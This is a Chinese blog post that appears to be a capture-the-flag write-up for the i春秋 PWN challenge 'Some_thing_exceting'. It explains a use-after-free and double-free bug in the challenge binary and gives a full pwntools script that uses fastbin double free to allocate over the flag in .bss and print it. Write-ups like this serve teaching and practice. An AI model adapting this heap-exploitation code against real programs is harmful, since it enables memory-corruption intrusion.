i春秋新春戰役PWN之Some_thing_exceting

心好累,堆處入手,看明白了,可是總是覆盤實現不了。。。不過學長那邊可以,是我機子的問題??

題目鏈接:https://pan.baidu.com/s/1Tv5Y4ieNVEasZ8oAYYn2Lw   提取碼:5td6

 

文件查看一下

 

拿到程序發現運行不了,查看文件屬性,發現沒有執行權限,加一個執行權限

執行不了

因爲程序要打開/flag(根目錄下flag)文件

沒有就自動退出了,所以創建

 

 

程序主要有三個功能,增加、刪除、查看

 

delete函數中,指針使用完沒有置0,所以存在uaf和double free漏洞

 

程序一開始運行時候,flag就已經讀入程序,在s中,位置在bss段

而且,flag這裏剛好爲我們預留了一個大小爲0x60的塊,所以我們應該利用double free申請到這塊內存,然後show()輸出即可

 

總結思路(error404的ppt):

1.首先一次free掉chunk1、chunk2、chunk1,每個chunk的大小均爲0x50

2.寫入chunk1的fd指針爲0x6020A8(flag的位置)

3.將0x6020A8處作爲chunk的data域分配出來(因爲程序unuse的fd指針在inuse的時候就是data域,是複用內存了)

4.利用show函數打印出flag

//exp
#coding:utf-8
from pwn import *
import sys
p = process('./excited')
context.arch='amd64'
libc=ELF("./excited").libc

def new(size1,content1,size2,content2):
    p.recvuntil('> Now please tell me what you want to do :')
    p.sendline('1')
    p.recvuntil('length : ')
    p.sendline(str(size1))
    p.recvuntil('> ba : ')
    p.send(content1)
    p.recvuntil('length : ')
    p.sendline(str(size2))
    p.recvuntil('> na : ')
    p.send(content2)

def delete(idx):
    p.recvuntil(' Now please tell me what you want to do :')
    p.sendline('3')
    p.recvuntil(' ID : ')
    p.sendline(str(idx))

def show(idx):
    p.recvuntil('ow please tell me what you want to do :')
    p.sendline('4')
    p.recvuntil('ID : ')
    p.sendline(str(idx))

new(0x50,'Chunk_1',0x50,'Chunk_2')#0
new(0x50,'Chunk_3',0x50,'Chunk_4')#1
delete(0)
delete(1)
delete(0)
new(0x50,p64(0x602098),0x50,'Chunk_2')#2
new(0x50,'Chunk_3',0x50,'Chunk_4')#3
new(0x50,'f',0x60,'2')#4
show(4)
p.interactive()
p.close()

參考博客:

(1)https://www.anquanke.com/post/id/199540#h2-16

(2)https://nocbtm.github.io/2020/02/22/2020-i%E6%98%A5%E7%A7%8B%E5%85%AC%E7%9B%8A%E8%B5%9Bpwn-writeup/#Some-thing-exceting

(3)https://xz.aliyun.com/t/7281

 


 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章